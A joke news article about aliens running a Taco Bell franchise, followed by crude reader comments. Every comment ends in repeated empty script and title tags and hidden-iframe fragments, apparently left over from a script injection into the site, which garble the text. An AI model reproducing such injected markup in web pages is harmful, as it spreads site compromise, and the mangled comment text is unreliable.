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Aliens open Taco Bell Franchise
by Kris on 10/9/2002 (9)

You knew it was only a matter of time.
Sometown, USA is a small town like any other ordinary small town. Everyone knows everyone else and it is not uncommon for cousins to marry, simply for lack of people in the town who are not related. Children sell lemonade in front of their houses, teenagers sell crack on the corner, old folk play checkers on a barrel of pickles in front of the local General Store, and women gossip the days away in the local hair salon. But the quant little town of Sometown, USA has recently be rocked to it's very core by a startling new revelation. Initially, the towns folk were excited at the proposition of their very own Taco Bell franchise. "We were excited," commented local town's man Jeb, "We's never had fancy foreign food before." What they were in for was something that they could never have expected, the owners of the new Taco Bell were literally not of this Earth.

This situation appears to have come about due to the policies of franchising out the Taco Bell restaurants. Taco Bell Corporation (TBC) is in charge of setting up franchises for the Taco Bell brand of fast food all across the world and parts of Canada. A person who wants to open a Taco Bell franchise must confer with TBC first. Then the prospective owner must agree to adhere to certain rules in running the operations of the store. They must also exhibit the mental aptitude to run a franchise store and complete a serious of physical challenges based upon the TV series American Gladiators. Finally, they must be able to front the cash to setup the store and to began operations. If a candidate can meet these requirements, they are then allowed to sport the Taco Bell name and are able to sell patented Taco Bell food at their store. For years, this system has worked flawlessly and Taco Bells have flourished across the globe.

Run for the border. Seriously... Run!
But every system has it's flaws. The design TBC implemented was chosen so as not to discriminate against different races and ethnicities, judging candidates only on their money, mind, and body. This is just the loophole that Aliens have been searching for for years. "When Bob and Klondar (the Aliens) applied, had the starting capital, and passed the tests, we had to allow them to open the franchise. We couldn't go against company policy. Seriously, we couldn't. Our cruel master El Diablo ChaChaCha stated that if we were ever to go against his orders, he would make our dental plan disappear like a Twinkie in front of Rosie O'Donnell."

The town of Sometown, USA was up in arms when the new owners were announced to be Aliens. "We don't want their kind here," commented one local man. "Them Aliens should go back to space where they belong," said another. "I saw the movie ET and I don't want them stealing our children like in the movie ET," said a third. The local town folk staged a protest in front of the new Taco Bell to attempt to run the Aliens out of town. Unfortunately, the town folk could not stand up to the appealing aroma of fresh made tacos and bean burritos. "Them Aliens don't play fair," said Hillbilly Hal, "No man can resist a taco." And with that, the protest failed and the Sometown Taco Bell had the most successful opening weekend of any Taco Bell franchise in history.

"We are very happy with the success of our Taco Bell so far," said Bob, "It is great to finally break the stereotype that Aliens cannot run a successful fast food franchise. Sadly, it's a common misconception here on

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1. by DICK on 3/1/2007 4:52:29 PM
YOU FUCKING STUPIDispla </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
2. by Kris on 3/1/2007 4:52:29 PM
YOU BAD GRAMMER, NEED LEARN TURN OFF CAPS-LOCKh= </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
3. by Matt on 3/1/2007 4:52:29 PM
Turning us all into Gummy Bear producing slaves kicks ass compared to what the Other, More Evil aliens are trying to do humanity... with their nefarius plot to suck dry our will to live, the economic means to live, and generally just taking everything away from us. Sure they disguise themselves to look human... but it should be apparent to all that Lawyers are anything but human. They just use their technology to disguise themselves to look human. Like in that movie "They Live" (or maybe is it was Crossroads). Anyway were all doomed... run while still can! See Dick type with caps lock on Don't be a Dick. </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
4. by dana the psychomatic freak on 3/1/2007 4:52:29 PM
hey hey good stuff.... I would eat at thier taco bell anyday..(hmmmmmmm tacos) by the way are they hot i would date a hot alien. hehe dick probably doesnt have a dick!lol *snort* (the psycho has left the building)isplay:none"></ifram </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
5. by DICK #2 on 3/1/2007 4:52:29 PM
HEY DONT TEASE MY BROTHER. HE IS STUPID SO DONT TEASE.?sid=1 </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
6. by Fart Head on 3/1/2007 4:52:29 PM
Aliens Vs Predator LAN game at Taco Bell would be cool.?sid= </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
7. by josh bennet on 3/1/2007 4:52:29 PM
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8. by SERBERT OF YODA on 3/1/2007 4:52:29 PM
THIS IS HILARIOUS I CANT BELVIVE THT THIS EXSISTS REALLY IM SCARED LIKE SHIT NOW RUN PEOPLE WHILE U STILL CAN LEAVE ME! RUN GO!i </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
9. by sumo master on 3/1/2007 4:52:29 PM
stinky cooterisplay:non </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>

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